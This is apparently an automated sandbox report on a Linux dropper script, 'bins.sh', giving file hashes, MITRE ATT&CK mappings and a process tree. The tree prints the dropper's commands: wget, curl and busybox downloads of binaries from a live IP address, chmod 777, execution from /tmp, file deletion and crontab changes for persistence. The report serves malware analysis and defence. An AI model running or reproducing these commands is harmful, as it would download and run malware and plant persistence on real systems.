d9ea827daf3c89e87e902422d55ef24029e288df76a9f4b401601c7b5b39992f

Analysis

max time kernel
149s
max time network
188s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
25-11-2024 18:44

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General

Target

bins.sh
Size

10KB
MD5

242c2d611eb5f6a69491c5473478724d
SHA1

43fc8b512a15760d8f534d472b1c397ffb32db53
SHA256

d9ea827daf3c89e87e902422d55ef24029e288df76a9f4b401601c7b5b39992f
SHA512

e292d25f39f1cf3ad6f46ee5d4f6ba74ca66ff6a23276bd28a23e5dc6048e7e41887196e2140dcedabf6571dc4e74d21abbded8594205ff505b231aee1ba44ab
SSDEEP

192:cphIsylBhwNZPm+Q/N3Xgz79uOkNJmXIsylBhiNZPm+c3XgfuOkNJD:cphIsUBhD/c75XIsUBh3

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmod

pid process

722 chmod
772 chmod

pid	process
722	chmod
772	chmod

Executes dropped EXE 2 IoCs

Processes:

dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJcNMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0

ioc	pid	process
/tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc	723	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
/tmp/NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0	773	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0

Renames itself 1 IoCs

Processes:

NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0

pid process

774 NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.YpznN8 crontab
Enumerates running processes
Discovers information about currently running processes on the system
Checks CPU configuration 1 TTPs 2 IoCs
Checks CPU information which indicate if the system is a virtual machine.
antivm

System Checks
T1497.001

Processes:

curlcurl

description ioc process

File opened for reading /proc/cpuinfo curl
File opened for reading /proc/cpuinfo curl

pid	process
774	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.YpznN8	crontab

description	ioc	process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0crontab

description	ioc	process
File opened for reading	/proc/108/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/712/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/785/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/791/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/801/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/807/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/828/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/29/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/888/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/858/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/43/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/657/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/779/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/892/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/9/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/21/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/26/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/338/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/817/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/837/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/865/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/3/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/298/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/661/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/823/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/846/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/860/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/873/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/152/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/138/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/836/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/853/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/8/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/862/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/872/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/843/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/24/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/797/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/809/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/896/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/23/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/295/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/603/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/793/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/832/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/850/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/879/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/882/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/4/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/891/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/883/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/281/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/820/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/824/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/848/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/261/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/79/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/111/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/154/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/781/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/818/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/845/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/847/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusyboxwgetcurlbusybox

description	ioc	process
File opened for modification	/tmp/NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0	wget
File opened for modification	/tmp/NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0	curl
File opened for modification	/tmp/NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0	busybox
File opened for modification	/tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc	wget
File opened for modification	/tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc	curl
File opened for modification	/tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:657
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:659
- /usr/bin/wget
  wget http://216.126.231.240/bins/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  - Writes file to tmp directory
  PID:662
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:689
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  - Writes file to tmp directory
  PID:715
- /bin/chmod
  chmod 777 dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  - File and Directory Permissions Modification
  PID:722
- /tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  ./dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  - Executes dropped EXE
  PID:723
- /bin/rm
  rm dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  PID:726
- /usr/bin/wget
  wget http://216.126.231.240/bins/NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
  2⤵
  - Writes file to tmp directory
  PID:727
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:753
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
  2⤵
  - Writes file to tmp directory
  PID:769
- /bin/chmod
  chmod 777 NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
  2⤵
  - File and Directory Permissions Modification
  PID:772
- /tmp/NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
  ./NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:773
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:775
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:776
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:777
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:778
- /bin/rm
  rm NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
  2⤵
  PID:780
- /usr/bin/wget
  wget http://216.126.231.240/bins/HQa6S3Gkwqytng7bIqrj7lr0h8eef3ZRf7
  2⤵
  PID:783

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.YpznN8

Filesize
210B

MD5
a0bd897987f933d86aca614c7483ce4d

SHA1
001d5a474f8b1b3ad41b8a57cad45c5527cd651f

SHA256
48cfbc9f3a7545692e0e43ba57546f05ec42a04eec944ec71b546a3e0e5f4372

SHA512
0cf52af69c7968a1005329b35fd9a1f0a8b9f67271d44b16ad372ac5ad969c645d1bef77c07eb7d62b835388e6142d5e56f514f51d8f593a52296877aee9c59b

Download Submit